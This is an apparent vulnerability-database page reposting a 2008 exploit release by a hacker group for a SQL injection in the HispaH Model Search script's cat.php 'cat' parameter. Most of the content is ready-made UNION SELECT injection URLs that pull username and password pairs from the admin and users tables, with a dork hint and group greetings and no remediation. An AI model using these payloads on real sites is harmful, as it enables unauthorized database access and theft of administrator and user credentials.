Lucene search

HispaH Model Search (cat.php cat) Remote SQL Injection Vulnerability

🗓️ 11 May 2008 00:00:00Reported by RootType

Remote SQL Injection Vulnerability in HispaH Model Search (cat.php cat


                                                ###############&nbsp;&gt;&gt;&gt;&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;&lt;&lt;&lt;&nbsp;&nbsp;###############
##&nbsp;&nbsp;&nbsp;&nbsp;Cyb3r-1st&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Cyb3r-1st&nbsp;&nbsp;&nbsp;&nbsp;##
##################&nbsp;&gt;&gt;&gt;&nbsp;InjEctOr5&nbsp;TeaM&nbsp;&nbsp;&lt;&lt;&lt;&nbsp;################

##&nbsp;author&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;cyb3r-1st
##&nbsp;contact&nbsp;:&nbsp;&nbsp;t3tto0&nbsp;[at]&nbsp;yahoo.com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cyb3r-1st&nbsp;[at]&nbsp;hotmail.com

##&nbsp;script&nbsp;:&nbsp;model-search
##&nbsp;download&nbsp;:&nbsp;www.hispah.com/demos/models1rock&nbsp;&nbsp;::&gt;&nbsp;demo

##&nbsp;dork&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;find&nbsp;it
##&nbsp;exploit&nbsp;:&nbsp;http://www.site.me/cat.php?cat=[sql&nbsp;injection]

##&nbsp;example:here&nbsp;u&nbsp;can&nbsp;found&nbsp;an&nbsp;sql&nbsp;exploit&nbsp;:::
##&nbsp;for&nbsp;admin&nbsp;inf0&nbsp;:::
&nbsp;www.site.me/cat.php?cat=9999999'+union+select+concat(username,0x3a,password)+from+admin/*
##&nbsp;for&nbsp;users&nbsp;inf0&nbsp;&nbsp;:::
&nbsp;www.site.me/cat.php?cat=9999999'+union+select+concat(username,0x3a,password)+from+users/*


###########&nbsp;Greetz&nbsp;#############

&gt;&gt;&gt;&nbsp;InjEctOr5&nbsp;TeaM
&gt;&gt;&gt;my&nbsp;best&nbsp;freinds&nbsp;::&nbsp;&nbsp;titanichacker&nbsp;$&nbsp;arb-hawk&nbsp;$&nbsp;denm0&nbsp;$&nbsp;drbaka&nbsp;&nbsp;$&nbsp;nicehacker&nbsp;$&nbsp;anaconda-ksa&nbsp;$&nbsp;sirus&nbsp;$&nbsp;crazy&nbsp;-x&nbsp;&nbsp;and&nbsp;all&nbsp;freinds
&gt;&gt;&gt;&nbsp;all&nbsp;muslims

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

11 May 2008 00:00Current

7.1High risk

Vulners AI Score7.1